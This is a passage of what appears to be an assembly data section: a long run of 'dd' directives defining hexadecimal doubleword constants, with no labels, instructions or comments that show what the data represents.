		dd 7F0417F5h, 71217A81h, 27C23D00h, 2A13207h, 0CD090043h
		dd 151B82D5h, 161E1D69h, 0C4816849h, 8E2FF6CEh,	805DA89Eh
		dd 0B4DDB9D8h, 0AC18C0DEh, 0A9A0394Fh, 9F5E0597h, 78E748Ch
		dd 81A648B4h, 0C08F02D6h, 705D62E9h, 0D4BA0570h, 4C82727Fh
		dd 0BD44C03Ch, 0F5860055h, 21CDA73h, 1EF213DCh,	0F82B7204h
		dd 5CC8CC29h, 4DC30EB6h, 58C0C993h, 848B9D8Fh, 9A07F7FEh
		dd 0B0196A26h, 74CF9B40h, 1F7C00F2h, 0D19933C7h, 84007B80h
		dd 4BAA0DC6h, 0CB56C8h,	2E47E01Bh, 0E106C7F6h, 2C3D612Ch
		dd 0AA05843Eh, 5C849976h, 0C38BE9C3h, 0C9419F12h, 0EFE47CD8h
		dd 0AC9861h, 0EB3F6981h, 0ED6DCFA3h, 6510EE00h,	4F1D70Dh
		dd 0C4A154A7h, 8B3200BBh, 0EB83710Ah, 0FF751326h, 0C2902200h
		dd 55F84195h, 242EA6Eh,	20FEBB7Bh, 8780F06Dh, 0E23CCC3Bh
		dd 58D85C00h, 9911CF0Eh, 555F00F6h, 8AB28BAFh, 0DD00F0DCh
		dd 7152FBE9h, 0B0B61CCBh, 0BDFA0005h, 642FD4FDh, 307A81CFh
		dd 33FE5500h, 753916B1h, 109600CAh, 0EB6BD8D2h,	0B9000864h
		dd 5003E30Fh, 7993D97h,	0AF8FF09Eh, 0D07450F6h,	9000D931h
		dd 54C619Dh, 69B7877Eh,	98805035h, 18F27069h, 0CC908900h
		dd 8FCB1595h, 0E21B0045h, 41391081h, 1E00A494h,	936DFA1Fh
		dd 503CAC06h, 110A6B4h,	7BABA1CAh, 0F8C19E88h, 0CF03128Fh
		dd 0DB549DA9h, 3890DE3Ch, 7F839326h, 4CC9B207h,	4A77E3F0h
		dd 1A101E00h, 0EA3062F0h, 28927428h, 0BD02DFh, 7B4C41FEh
		dd 0D53F90D7h, 10179775h, 0AB0692ACh, 29BED1h, 92BA19Eh
		dd 885FC37h, 3ADE0D00h,	9A999CB2h, 3B390328h, 0D858212Bh
		dd 0E53142F8h, 1A1406FAh, 0A79E4Ch, 0F91E3769h,	124086A0h
		dd 7BACDFh, 6A6BCF51h, 0A61DEBB5h, 5FC193B1h, 8B59CDD8h
		dd 0A1B4F140h, 9B8300A0h, 0F877FBC1h, 970064EDh, 0D23DC2Dh
		dd 2F37CDh, 0C7A3022h, 0EF770BC1h, 8470E30Bh, 19500156h
		dd 0E040BDFEh, 16F38E14h, 6B30F2h, 701D1789h, 60078893h
		dd 866D8A47h, 0C3441110h, 1020FF75h, 0A8D00141h, 0B2F9B7A3h
		dd 5DCCF46Ch, 72F2E30Fh, 477041B3h, 0AAC04033h,	0EE4300C5h
		dd 6D612F66h, 3E003DEFh, 0C439A028h, 175E1080h,	3033424h
		dd 0B0C7190Ch, 0BA00DC7Dh, 8273ECF2h, 7649A809h, 7B4F47Ch
		dd 0EEF09D3Dh, 0CC05B0DBh, 4AF681BBh, 53C58E00h, 917FE41Eh
		dd 4FED3AD6h, 0D02F3B14h, 43389501h, 0E0440ED9h, 57B77F7h
		dd 941E4C1Ch, 296CE3CCh, 28CE07C6h, 0D0DC6B08h,	9C35DD9Bh
		dd 3439EA00h, 4AC12774h, 41160F28h, 6C202178h, 0EE17C4E6h
		dd 9898DC3Ah, 3789A7B9h, 422F00EAh, 4C9596D7h, 16005434h
		dd 8E188D0Bh, 1E784B8h,	5B644DA1h, 0D7A4C928h, 35DAC0A4h
		dd 6A001AEAh, 0B3956B8Ah, 0A2EEFEh, 0C0F81918h,	0E0DF8579h
		dd 13D2D900h, 7141C50Ch, 624E6028h, 0BFCEEB08h,	0F0485300h
		dd 8EAB709Fh, 129400FFh, 299591AFh, 6F07C9DEh, 0E8D53828h
		dd 4360F547h, 2C604CAh,	9593D926h, 0DC80A127h, 986F8481h
		dd 7882C803h, 0B04920A4h, 0EF736ADh, 70871C2h, 0BE2D1D41h
		dd 0EB08E93h, 428AA781h, 7CB7F780h, 3FE400FEh, 174E793Ch
		dd 0E9B8D0AEh
		dd 2BC95000h, 971F399Bh, 8E781FCDh, 0EF9C030h, 0BBB5565Ch
		dd 0A3C4A7Eh, 3DFD0265h, 60294F17h, 3ECE74h, 247C1911h
		dd 2CE05ED0h, 4DB71B00h, 66FB100Fh, 0B0AA00DDh,	71D3359Ah
		dd 4E00F0BCh, 4667052Bh, 3C113CAh, 0C7C279B9h, 8AC05E5Dh
		dd 1D0093DAh, 0D9DCE4C5h, 0B864AAh, 0BD281B7Bh,	0AD875D92h
		dd 0DD5A5400h, 0D980CF9Fh, 50865CBFh, 12C6E350h, 20B79385h
		dd 0C0225A58h, 1DD0C0BDh, 26C3006Ah, 0AC0F9967h, 0D73BABA2h
		dd 0B4CF00F5h, 0B74D8FFCh, 26F0095h, 54D258A0h,	0B919FAA8h
		dd 67108781h, 61020h, 0C24D2A28h, 897A5012h, 22D6380h
		dd 0B88B28Fh, 1C60D0E8h, 4904F0CFh, 351C4381h, 7E385580h
		dd 18440004h, 23A8FE9Bh, 8F0019F8h, 0EFBD5B40h,	1EE04264h
		dd 0D2D965C1h, 681000CAh, 2BEAF8C5h, 39006270h,	0D72C6D74h
		dd 12E136F2h, 40E2B964h, 33F77024h, 8600CC96h, 0D920C0FAh
		dd 261AB373h, 7414555h,	0E0A1EF4Fh, 7E323968h, 5D3F9B90h
		dd 0A788222h, 43249F1Dh, 1943F8ECh, 0BA03011Ch,	3D899625h
		dd 1D448086h, 58EB9E8Ch, 5F84261Eh, 3F2101F4h, 0F81719AFh
		dd 521385F0h, 0FC00CAF1h, 4ED87953h, 64D24822h,	0BB461E00h
		dd 0DB1568FBh, 85879F00h, 88D1E602h, 0EA136012h, 0C098BE6Fh
		dd 0E95C9898h, 0AA541ECAh, 0B1D0DD01h, 51E818B4h, 537568h
		dd 0A0E3E4BCh, 6FADA916h, 930241F6h, 0F9981B44h, 905AC3AFh
		dd 5A4389h, 4677E8BEh, 6E86DCE0h, 80987339h, 0B12A7DFh
		dd 72793Ah, 4C6F9B2Dh, 0B23BFA4Bh, 3CC46D00h, 74987CD3h
		dd 5FD60594h, 40EB8E86h, 1413A3ECh, 36016EFBh, 3F97887Ch
		dd 0C840E399h, 948D7Dh,	0B68B30AEh, 77EFC3BCh, 943B093Eh
		dd 9B71A24h, 8781326Ch,	1505BF1h, 12CAD6F7h, 0EBFFECFh
		dd 4C2027E4h, 0EBCB7673h, 280089EAh, 3CA9AC0Ah,	3D597BEh
		dd 84E4E0EDh, 0DF9896DBh, 0E8022A77h, 0DD4AD402h, 2880601Fh
		dd 399D0241h, 0C0C7A23Eh, 165C38C0h, 1959A400h,	22A8FA3Ch
		dd 8272EEh, 6A888CC7h, 9AE153DFh, 0CA00D877h, 0F2913366h
		dd 2A9DD5Fh, 438CE88Eh,	0A4401986h, 0B316C4B6h,	4042C17Fh
		dd 60036750h, 88AA4748h, 8D7DD09Ch, 78D7511Fh, 0DF485540h
		dd 26D459C8h, 145494E7h, 0A30048F6h, 60C0BD84h,	1500F05Fh
		dd 0A067B71Eh, 5CBB5571h, 9A003025h, 0CF65DED3h, 0A2077C95h
		dd 97EB6D1Ch, 0C3A46A0h, 0C2220066h, 0A6C1742Eh, 0EF3F2C98h
		dd 0BB41000Dh, 4CEA58FCh, 5400022h, 0CB0D539h, 0D8B8EC1Bh
		dd 0D6007DF2h, 2D77C2A5h, 0F41A6Eh, 7A663728h, 5F8F6490h
		dd 0E31779F8h, 3404BE04h, 0CCC084CDh, 24B86Ah, 75E2F871h
		dd 2FE30A69h, 35E2C00h,	127F8979h, 0E5D301BFh, 0EA6B38E8h
		dd 5B9043BCh, 776F28B0h, 4FC7DF00h, 0A8E62C9Dh,	0BB9003BDh
		dd 0DCF0F9A3h, 92D78880h, 7B13A101h, 0D836F406h, 39531660h
		dd 753FC63Bh, 0D63A0504h, 600CA08Bh, 0ACC01229h, 9564EE01h
		dd 1FF44686h, 0CD2005BCh, 44778014h, 43BE57D8h,	0B540828Ch
		dd 1C412096h, 0C08D7811h, 0D74AF184h, 0B8906737h, 60439C07h
		dd 42800688h, 508BE0D4h, 9FB523h, 0CD169A4Fh, 26313B35h
		dd 446FA713h, 0AB02D000h, 0F65C96h, 0D043B38Bh,	0C4CDD5E8h
		dd 9BA40912h, 261EB800h, 78ED64Eh, 6FF3E468h, 3604406Dh
		dd 0B20016B1h, 798A0EB6h, 0F8C57EF0h, 0DF803CBh, 33F27C3Ch
		dd 8AB89ECBh, 6079197Dh, 4D234300h, 3E2C2252h, 0C11703F3h
		dd 0F8E4BE1Dh, 739747E8h, 456BD0CFh, 96005AF7h,	0C1941F42h
		dd 0DD591686h, 53280049h, 8B52013h, 21B789C0h, 60CC8E6Bh
		dd 2DF041EFh, 0F0C1017h, 291CA96Ch, 0C70F6ABh, 0A069B67Fh
		dd 6F0725E0h, 0A70454E4h, 399E2C60h, 0EAEE0098h, 8814E852h
		dd 3D06FB0Dh, 76C41AA4h, 3B837E90h, 0AFBDA9A6h,	8B430A00h
		dd 0F0636AE4h, 5800D6E0h, 663D21CBh, 7DD2779Dh,	388400FAh
		dd 9BA3C21Ch, 0C424A2BAh, 820028FEh, 29ED0586h,	39CF0064h
		dd 0F3C672F8h, 0DD00ECDEh, 0EBD66FB7h, 3E287D8Eh, 2802D60h
		dd 0CBFE2A84h, 2F03ACCCh, 0FBDC05F6h, 6E21A052h, 63DE003Ch
		dd 9FF25F3Bh, 0E700C64Ah, 70A74966h, 33281157h,	38C87778h
		dd 0F860FDA0h, 64D8B01h, 2E8FB2CCh, 12B69C50h, 0A498DCh
		dd 55AC35F5h, 2D6CB574h, 9CE5D626h, 0A0EB9A01h,	31022B8Bh
		dd 0BBC6C1D7h, 3CB3C040h, 0C18558C0h, 0F580DF3Fh, 15D07E4Bh
		dd 240193AFh, 0A330831h, 9031BEE0h, 231FD8FFh, 18F0796Eh
		dd 0C84C8B87h, 1D0FBAADh, 92620E61h, 6A78A800h,	730F2C8h
		dd 177A5859h, 0DC8089CDh, 0B6D247E0h, 0C21DF514h, 0A72816A8h
		dd 0DC5EE500h, 8D4543h,	0BACD51FEh, 0CA579572h,	0B87C632Ch
		dd 5380DD00h, 1FD4CC1Ch, 80EC1430h, 0F8C294A1h,	0F300F1A2h
		dd 54BE7ECEh, 0A8B05h, 2061DBFAh, 8D5159CCh, 8100B4B0h
		dd 0E77D0B5Bh, 593DE11h, 0A810825Eh, 0B0ED80FBh, 8F3E7648h
		dd 0BF02F7C6h, 0FEE980E6h, 4F906053h, 894D0005h, 0D5C29045h
		dd 8528B981h, 0B71D465h, 8C868CA8h, 62CB5300h, 0AF6CB3ACh
		dd 9F1E03C8h, 0AE0509A2h, 11A1FE8h, 74B1400h, 0E26C7B24h
		dd 8C5A00C2h, 6AB9E4C7h, 0A47F440Dh, 0A0D190A0h, 528EBB00h
		dd 80B90B8h, 22FD0061h,	48394688h, 0AE00345Dh, 0F3DBCBD0h
		dd 76BC99Dh, 0BF0EFE3Ch, 0D113C0B3h, 7303BD8Ch,	0CE4BA70Ah
		dd 4DFD85Bh, 0D9C118B6h, 7F10C06Ah, 55971300h, 989F61DCh
		dd 0C9C304F0h, 0B0EF7B21h, 5B0065B8h, 0BEE622E4h, 19650CDh
		dd 570F1E36h, 0CC30455Ch, 0F90E2C26h, 0C069C1E8h, 26E2022h
		dd 82E21260h, 0DD7C00C3h, 0E065E3BFh, 21745102h, 619673BEh
		dd 0C0339CA0h, 0C5986700h, 0A29DAB12h, 0AEC28016h, 0C407B040h
		dd 1A0918Dh, 0D151C61Eh, 0E0BA595Eh, 1B0597CBh,	18EC7BB8h
		dd 0AC0FCB03h, 4A4088C7h, 0E2671FD6h, 0CA3AC52Ah, 0E96AC0C4h
		dd 0F16F2BCCh, 0F8272358h, 1ED9350h, 0C8AC2110h, 0EC7C37D1h
		dd 9F1CF011h, 1640DB73h, 2247BAC1h, 5CE6E8EDh, 8D00F327h
		dd 0AE80926Dh, 9D0FDABCh, 601C7586h, 0FCC5A7DDh, 32DE899h
		dd 7FEE50ECh, 7CE06696h, 0C2019F8Bh, 0C816A837h, 9A3098AAh
		dd 9DE30794h, 5022093Bh, 0D0A91EB0h, 10CE0B00h,	320D83D6h
		dd 0F61A0098h, 0AB43311Bh, 6D00220Eh, 3BF75B0Ah, 3A63EEh
		dd 0AA3399CFh, 9A982E79h, 876A5700h, 7A65A40Fh,	0F7FC01F2h
		dd 0BA6F2CF4h, 8B0830B9h, 8DB83400h, 9FD7E8A7h,	834ECDh
		dd 2C8A67D8h, 353C4029h, 23469812h, 178B7Ah, 0B6E9660Bh
		dd 0D644836Fh, 0B2A54B00h, 5A064915h, 898ACh, 59D7A270h
		dd 45223B10h, 63CC7C00h, 0E92B1630h, 7D330F8Ah,	0FD20438Dh
		dd 36D34E41h, 0F432044Eh, 3984600Bh, 40920072h,	3359837Fh
		dd 4890E30Ch, 77EDF500h, 9901FA85h, 354B824h, 0C8CEDC36h
		dd 5DA02DB5h, 2F248EE2h, 32008490h, 0E302DD9Bh,	317D80D7h
		dd 8D2AF603h, 0D249701Fh, 0C1F0C192h, 1256C870h, 971F401h
		dd 0C4800C96h, 91B750C6h, 3DDBB258h, 4C40083h, 0DC59DA66h
		dd 30C0B04Ah, 0C120967Ah, 48C08021h, 762F5655h,	9BA5002Ch
		dd 48C50C4Ch, 0BB03F072h, 878D9A7Eh, 88B2D9FAh,	141420h
		dd 170816B0h, 0A3947A63h, 7BC8EA00h, 23CDE861h,	85A500FFh
		dd 35A6AF51h, 68009C2Dh, 0EF75AAA4h, 0FFEE4Eh, 92D0D615h
		dd 7FDCD21Ah, 69192700h, 0F5057816h, 0B6DD002Fh, 22C1B8Bh
		dd 80FB10CCh, 0FA0917F9h
		dd 8573C6h, 0D2DDE4DBh,	7D3D043Bh, 991F1800h, 0E2414E9Dh
		dd 2CC00161h, 47941ACFh, 54C247ACh, 30958788h, 0A9EE7B76h
		dd 0D26A0D16h, 41045402h, 2B58C00Ch, 51D10140h,	0AC89B5C4h
		dd 7FEE07Eh, 8161AE13h,	0C9507843h, 0C6929811h,	0B34D0008h
		dd 0FF071470h, 0F91234F1h, 0A300ACF2h, 77BC1651h, 0EF920094h
		dd 0ECCF65CAh, 6A0096B4h, 173D8955h, 0FA01EAh, 7406764Bh
		dd 379608Eh, 0C98C901Dh, 9840CAC0h, 388F19ADh, 0AF006146h
		dd 7AFA8623h, 361E5514h, 0BF490A77h, 0EA40045h,	0E4B7BA5h
		dd 3082343Ch, 8B5E0860h, 805893C3h, 64EE07ACh, 0F5C0FA40h
		dd 4C3B58CEh, 0F100976Bh, 9C9FEB85h, 400079EDh,	7B440703h
		dd 911FEB9h, 8B3B9397h,	120EA100h, 7500C01Dh, 2BB3AFBAh
		dd 73384Dh, 61FD33F1h, 286FBE9h, 0D11B7407h, 70304B2Dh
		dd 1737F51Fh, 4E6E2F6Ch, 792006B4h, 0A84AD434h,	1259F900h
		dd 63E7FF0Dh, 0DC8B058Ah, 0D062D3FEh, 74D1980h,	3225F800h
		dd 0E602340Bh, 944F505Eh, 4ACB00E8h, 1C1F339Ch,	1804EEF9h
		dd 9E7E1352h, 1E421C80h, 4B87007Ah, 0CD4316A6h,	5200367Fh
		dd 0EBD48665h, 9EA51F1Bh, 166B05B8h, 0A1C0013h,	18ED6927h
		dd 5D6A2F26h, 0C1E0E16h, 0D103F18h, 691F8835h, 831EB6E0h
		dd 5A01B862h, 2ECF993Bh, 6A172183h, 2A59E38h, 0BCEB3234h
		dd 8561A180h, 1100DC25h, 4849DE47h, 793C938h, 3C3D170Ch
		dd 2F16E346h, 0BF705ED9h, 7A6A0098h, 0CAEBB165h, 50DF46h
		dd 913E4C11h, 0E1009847h, 37DB2053h, 8BD2DEh, 4CBA6718h
		dd 0C4EAB66Bh, 1A634B00h, 9C1FDDF7h, 313600CFh,	715C88A8h
		dd 0BD0002BAh, 2B6BEC96h, 823E4Ah, 0E5A92AD4h, 76D305B3h
		dd 50521412h, 3D2E7700h, 5E46FAh, 36B23C32h, 52B020C2h
		dd 82260F0Eh, 1E8BE05Fh, 48B31Fh, 378D3A74h, 0A82E789Dh
		dd 856AE70Fh, 6C420001h, 0EE7AA282h, 3B3007BAh,	40AA99C2h
		dd 5FA4F2ECh, 0CC971A2Ah, 0A94B200Fh, 8817A054h, 7D23755h
		dd 0CA7D82D1h, 0EBB31016h, 0AA5C6FADh, 39331224h, 0D3D2C400h
		dd 0F41913F5h, 8A560A94h, 80A81638h, 222B18E2h,	9200BADCh
		dd 0D55CB31Eh, 0E6E90DEEh, 0B7650077h, 8CEB4133h, 4C001F6Bh
		dd 3AD3C622h, 169F24h, 5F383C56h, 423BE31Bh, 32BCE41Ch
		dd 8F57B74Fh, 0E050E037h, 92604CF0h, 0C82D0000h, 3A84616Dh
		dd 1F0082FAh, 0CF631C04h, 0FC9990EBh, 0E63D0038h, 0E589FFCBh
		dd 2600B485h, 0A23F6B55h, 8EA25D9h, 0B98EEB81h,	270CB786h
		dd 0D01A05D1h, 0D01E3764h, 0FA822E64h, 69FCF100h, 2C6BCE87h
		dd 0D1E4000Fh, 9A376EE1h, 93004795h, 0A870775Dh, 38A7F53Dh
		dd 0C8AE30Bh, 7E04E275h, 0A41B008h, 8058F711h, 0A7B20074h
		dd 90955893h, 0C35B429Bh, 6B3A0h, 0F11F5CA6h, 0B247C5C0h
		dd 0D788EF0h, 1E1FA274h, 465FA7CAh, 0EAC5A500h,	9A9895h
		dd 91D3F144h, 909CBD59h, 9B002A7Ch, 0CC115F94h,	0E2C3B699h
		dd 0B27F00DDh, 0B409939Ch, 5478CBCAh, 44E2CF00h, 78BDA6B5h
		dd 0AFB100C6h, 1A867951h, 0B8C0EEFAh, 0A6878242h, 704A0027h
		dd 98113393h, 1E003963h, 0C1F11B7Eh, 1843422Bh,	28A77937h
		dd 0F88892E4h, 0C295883Bh, 0C8800F88h, 0A7450851h, 28B9140Ah
		dd 2983CB0Ch, 32284FCh,	71BD4225h, 44A08B44h, 1D440191h
		dd 0BE228441h, 11D4428Eh, 6521EF17h, 90972108h,	10219EB8h
		dd 96858449h, 8786C4Ah,	0D94E9E7h, 60C81514h, 2890288Ch
		dd 0EF012022h, 13FFF908h, 0C5292784h, 0D400D8D6h, 0D2513F17h
		dd 6C26002Ah, 58EAF69Bh, 1500D3AFh, 0A566243Bh,	7C4ABF60h
		dd 36BB009Eh, 44BD3A6Ah, 0C20F3494h, 80F9A47Bh,	20124E47h
		dd 81A603BEh, 3AADAB4Dh, 821F0990h, 0A5D92600h,	8F527816h
		dd 9C9869h, 0AFF5DC04h,	0F20B6588h, 2DCDD100h, 8902587Dh
		dd 4B3D00A0h, 0E8010331h, 0FB005950h, 954945C8h, 38729041h
		dd 6A802010h, 11E2EF77h, 0C7F674E6h, 0B5F77907h, 3A501D55h
		dd 48FF5D18h, 9B0294B1h, 8FC6BDBAh, 0CC2D36E0h,	644B850Fh
		dd 34316112h, 7880AF98h, 73A7F41Eh, 0A80F9A1Ch,	60C637D9h
		dd 686D4682h, 1A06129Ch, 0F3BC0043h, 4B9D1358h,	186B600h
		dd 615DA4B8h, 704C00CFh, 9B2277Ah, 0B50035DEh, 40EAF9A5h
		dd 1E847729h, 0C05A2CF5h, 7BBCD5CEh, 0A60304EDh, 0C02B8051h
		dd 0A1808DA5h, 7062B8h,	6465F17Ch, 2D8DE6C7h, 0D6E41B00h
		dd 7835AF80h, 0B719008Ch, 8B642EA4h, 0CBF6A587h, 75566306h
		dd 308E13h, 4AF194F6h, 0D261705h, 4073401h, 0B8D68458h
		dd 0E880C5CDh, 2E71D082h, 1DF0C11Eh, 0E63EA70Fh, 735E20BEh
		dd 3AE033h, 0B21A4F43h,	3257154Bh, 67827A00h, 3E859FD6h
		dd 957900D1h, 0F5FF4417h, 4D26EB21h, 25005013h,	1E24D3AAh
		dd 22E500E4h, 0B1DEFB18h, 0BA3F31CFh, 6C22485h,	6A0B5000h
		dd 4C3B2h, 71EF8435h, 73ED8239h, 0FA812F04h, 0E6805F48h
		dd 4B4BFCFh, 49859511h,	950CAFFDh, 0E4EFF09Ah, 0AF81008Ch
		dd 9D4D905Fh, 0A10052FEh, 0FD929B03h, 50C4067Ah, 377D4A7h
		dd 97C86789h, 5EAB1E53h, 658BFDD8h, 9090D0F0h, 950FBA00h
		dd 0E77EF7E3h, 1DA700DBh, 5D8CF537h, 0A20FD8D2h, 4010F0F1h
		dd 0EF87943Dh, 2AAC05D1h, 1DF8B297h, 0DC1780B8h, 4EF610DDh
		dd 32024100h, 6276A374h, 29F7977h, 0B9F4E4FAh, 6C408761h
		dd 0A7721940h, 0C407F5EDh, 0EF00A97Dh, 72676BFDh, 7B0BB1FBh
		dd 9C47FDABh, 1F390686h, 8347FFh, 23A75589h, 67249C31h
		dd 36805815h, 0EE931356h, 0FFB30053h, 48E25A4Bh, 0F2468B6h
		dd 0C0833CC7h, 7E6F9812h, 4A7001C6h, 0AA4F3BFDh, 6A75CC0Ah
		dd 6F192A00h, 7FD13418h, 0EF2909A6h, 2420ABF0h,	32603139h
		dd 80CD893Ch, 0A30DFB64h, 56672Eh, 0C0BCC88Ch, 9A20CBF4h
		dd 64337218h, 72DDEh, 0B3176AC7h, 0B0F27FFDh, 0F5730D00h
		dd 9BA00ACCh, 66640025h, 42C11FF7h, 24B0FA30h, 801DF33Fh
		dd 0AE26E74Dh, 625ED87h, 5F886ABh, 2A0008ACh, 66751B4h
		dd 90A41Dh, 685C28DDh, 6A5230D8h, 7F22B601h, 8D1CAD81h
		dd 9F606DF1h, 1C877FDAh, 0F6DE3Dh, 1005C0AFh, 300147E8h
		dd 0B4DC2588h, 0C0208AB1h, 7B0D000Ah, 6236C76Eh, 182C5E4Ah
		dd 63028879h, 80D2FD3Ah, 2054F7ACh, 0CCEC1211h,	460C00FAh
		dd 40D135BDh, 0C024B607h, 0DCE02215h, 869D2h, 0BC9D201Dh
		dd 0E6A94CA8h, 0E90B6006h, 2F8122Eh, 0BDF55358h, 6460C9CBh
		dd 900E369h, 32DC7A62h,	7C4110h, 0D25B6BFh, 4EF0B74Ah
		dd 47608300h, 0EA92A642h, 339700C3h, 594CDF1Ch,	75EE5D69h
		dd 0DFAC4Ch, 1F05A446h,	96E225h, 4A072027h, 60370E0Bh
		dd 654E1600h, 19F38689h, 0CB1400C5h, 7402B2F9h,	5339BF63h
		dd 61910073h, 787552FFh, 816900E0h, 0C6A9D786h,	0E100D510h
		dd 420C927Ch, 0C98F85h,	0CCEB4154h, 6CAFE6CAh, 589D0300h
		dd 53B3D15Ah, 4CE9009Eh, 3E4E4F14h, 290EF661h, 0C0028770h
		dd 0D52A5E49h, 7E7300A6h, 0E8593EE5h, 193EA8D4h, 98F92818h
		dd 4F2FF24h, 3222FB00h,	0F421D185h, 1DC0378h, 0EED5B008h
		dd 0D254E7A0h, 84837907h, 0FC437CCCh, 0E8E8B3C4h, 1E98D8Fh
		dd 1F8892EEh, 2099C2F6h, 86034314h, 0AD08CF87h,	2E1DC902h
		dd 6AC43F61h, 18DD00C5h, 8E1B0BB4h, 0D005768h, 0A572FA2Fh
		dd 989CAE66h, 2A510058h, 0BD6A04D4h, 2624C4C3h,	0A140FC2Ch
		dd 9028415Ah, 0B6F00018h
		dd 727BAE71h, 4D980804h, 0DDE32400h, 3E172B9Ah,	418B0019h
		dd 0B7F4FAC4h, 1AE0680Dh, 4CDDF500h, 2B5C3513h,	6095013Bh
		dd 0F045A7E8h, 9DE420BCh, 0BAEFFF00h, 0AEF74636h, 30BE0052h
		dd 51A20ED0h, 1B00C36Ch, 5A02E590h, 7086B8CDh, 0F96E1CAEh
		dd 0FB0E43C0h, 3ED0D31Ah, 4500FF80h, 4404BCA8h,	288B6Dh
		dd 0F8F15B11h, 0FAB165AAh, 3C88158h, 31AE1B7Bh,	0FE8B86Fh
		dd 0AD4E0071h, 0E5288534h, 1F007D2Ch, 790A25E2h, 3A8D232Dh
		dd 0A5806061h, 0A3175868h, 14010DF2h, 5C5DF198h, 0A06FDD9Fh
		dd 6B12EC0Dh, 0D4002DC4h, 58D98C18h, 0E1E804F7h, 81FCDCD8h
		dd 300AD708h, 0FA71D3F4h, 0F9244198h, 0D9120407h, 6CDF402h
		dd 0EA8E4011h, 0FDBA2481h, 0F5003A04h, 0FFE08B99h, 0E10096C7h
		dd 178FAAE6h, 90A2CAEEh, 7FF58008h, 0D11000CFh,	15AFF10Bh
		dd 6E0F3DD3h, 0C792E64Bh, 9600618Fh, 0CB80A2h, 0D0BAB39h
		dd 2F6C919Ch, 0A00E7A7Fh, 605BEE63h, 4A53810Eh,	0A3D4A1A6h
		dd 1322B770h, 14E9874Dh, 6901C7E1h, 660EB349h, 4C0F66Dh
		dd 90002C67h, 86795D14h, 38DD0Bh, 0C023CC85h, 30BFC5C6h
		dd 0D7988D00h, 2D17FAF8h, 8C3C00B9h, 0BC543A37h, 0FD1C52C2h
		dd 291D6F8Eh, 33F916C0h, 0A5FE9Ch, 0C0D3E722h, 9E6BA0D6h
		dd 0FC9A8500h, 0E6C4C72h, 16EF0097h, 8D2EB283h,	9F004826h
		dd 64F0EE6Ah, 2BF8A8h, 277F7D94h, 0E5C715ACh, 0D40053B0h
		dd 0C4478C28h, 73552DECh, 1B7D00FCh, 13B982D6h,	1628515Ah
		dd 8A03EF68h, 0EA3EFABDh, 4C92E01Bh, 0BAB5000Eh, 0B8489E5Bh
		dd 0FA12765Fh, 8E0F8438h, 49258726h, 4BB3FE60h,	4D7400C5h
		dd 2BE09CB4h, 980F6ED1h, 1117EB5h, 0FBECB909h, 16C71020h
		dd 7BB0DDAh, 7FAD0B3Fh,	0C5E018E1h, 3DD7CCE9h, 8EE1D600h
		dd 0EA91BAB3h, 0E894E6EDh, 5BA900E5h, 6597AE99h, 7A02D592h
		dd 0BADE085Fh, 2B1040B0h, 2C4CEA5Eh, 1C0CD160h,	2ECA0171h
		dd 0CA90401Bh, 0A4EC2060h, 71C4A72h, 611E804Dh,	0A7230580h
		dd 1A8337h, 8A3F09DDh, 3B8EF757h, 0F658BF18h, 754BB8h
		dd 9D790728h, 0A0570936h, 3080B35Ch, 7CA10980h,	83F9090Ah
		dd 0F840CEA4h, 301C0206h, 2E400CB7h, 451BF5A9h,	0EC4B7CA3h
		dd 0DFB8C1AFh, 32C9FB9Bh, 0ABDBC074h, 76183A9h,	1EA0EBF8h
		dd 7DDD2125h, 34060BAh,	22D4B01Ch, 1B995E00h, 0C01146F5h
		dd 0C03E93B1h, 4516876Dh, 0C101A7CEh, 4898A6CBh, 0D4490980h
		dd 3C260771h, 7DB24438h, 0F8887C00h, 0D68A7250h, 0A19F0142h
		dd 89AD3CCDh, 0A7B19F4Dh, 0FADE5DC0h, 0B2961FD3h, 48E60094h
		dd 0FEAEC2Bh, 0BA12A71Eh, 5701A587h, 7F17241Bh,	348FB40h
		dd 3093076Dh, 5071B834h, 27602CF3h, 5C4BF000h, 9C75F5E3h
		dd 1109095Bh, 7F08C1B0h, 0BB1E80E8h, 0A9715AF8h, 1B425600h
		dd 0A60AC166h, 25F900EEh, 0A36B2FBCh, 2030B457h, 95424017h
		dd 18C3032Dh, 0FDD053F2h, 7E2FB5B8h, 8037863Ah,	0E2F798F8h
		dd 0B35093Eh, 1DFCBA83h, 8D3AFA01h, 0DADFE4A6h,	9DDC9C13h
		dd 0B0131400h, 7BC018Bh, 0CB38412Dh, 70D35002h,	0A7F4827Ch
		dd 6D5B9B02h, 435C5EC6h, 0DFBA91FCh, 585F89C8h,	0F041232Dh
		dd 18B0D6F8h, 1043DBFEh, 0F600400Ch, 41B7770Ah,	30EA146Ah
		dd 8BF89822h, 0D228E15Ah, 3400B4CAh, 0B863E2B6h, 64A804h
		dd 0C17B600Ch, 74796219h, 0A965E500h, 0E247B639h, 31940041h
		dd 0CFAF23C3h, 25005F54h, 0E361FF22h, 0EBF1A5Ch, 0C0CEF19Bh
		dd 0F942EFC3h, 32538AF9h, 0DDE50110h, 6D904B2h,	4EF6A880h
		dd 0B5E08F56h, 1E058804h, 388047C0h, 0ADDF99h, 67FBC3Dh
		dd 6E0D2491h, 9DF8017Bh, 0FCD9A800h, 4B77733Eh,	5D0A0065h
		dd 3FD68083h, 8A002CBCh, 0EE60382h, 0B7EC564h, 78533912h
		dd 0B06D4880h, 0B13F9983h, 956680E8h, 0B334127Dh, 5538483Dh
		dd 0A70FD700h, 0D39A5A53h, 0FA420900h, 275468E4h, 0E3070024h
		dd 5D0F171Fh, 13786C9Ah, 55407B01h, 7F99229Ch, 0DC28B031h
		dd 2870F926h, 0B08D3BB2h, 160FE03Ah, 45C354DBh,	1B883FC3h
		dd 23000386h, 8CE4557Fh, 0FEA504h, 161168F6h, 4F83315Eh
		dd 76988F50h, 9FDBCC1Eh, 261089D8h, 0E478C3h, 45CAECD0h
		dd 0A2CF7BCBh, 5F276800h, 88BC19EFh, 2523079Fh,	446BD6Bh
		dd 0C1A08074h, 8B003EAAh, 5A00CA6h, 3A10BACCh, 6F04D706h
		dd 80C2E595h, 1CDAAC10h, 0E3398D1Ch, 56417C41h,	64709E9Fh
		dd 0C2FCD4h, 0E8621BE6h, 0AA7FEA92h, 28887B48h,	0B64BE867h
		dd 0A9DE5383h, 4020BC82h, 0D9D63884h, 0F800DA27h, 0BFBC47Fh
		dd 0E950A700h, 9F4D599Eh, 0F7098B9h, 0E19A1F09h, 18847361h
		dd 17F0F848h, 8E746128h, 8412A528h, 8A32BB0Fh, 7F4D00C8h
		dd 12A62DE4h, 0C0660C37h, 5920FAE0h, 0F213C4B4h, 2330C8h
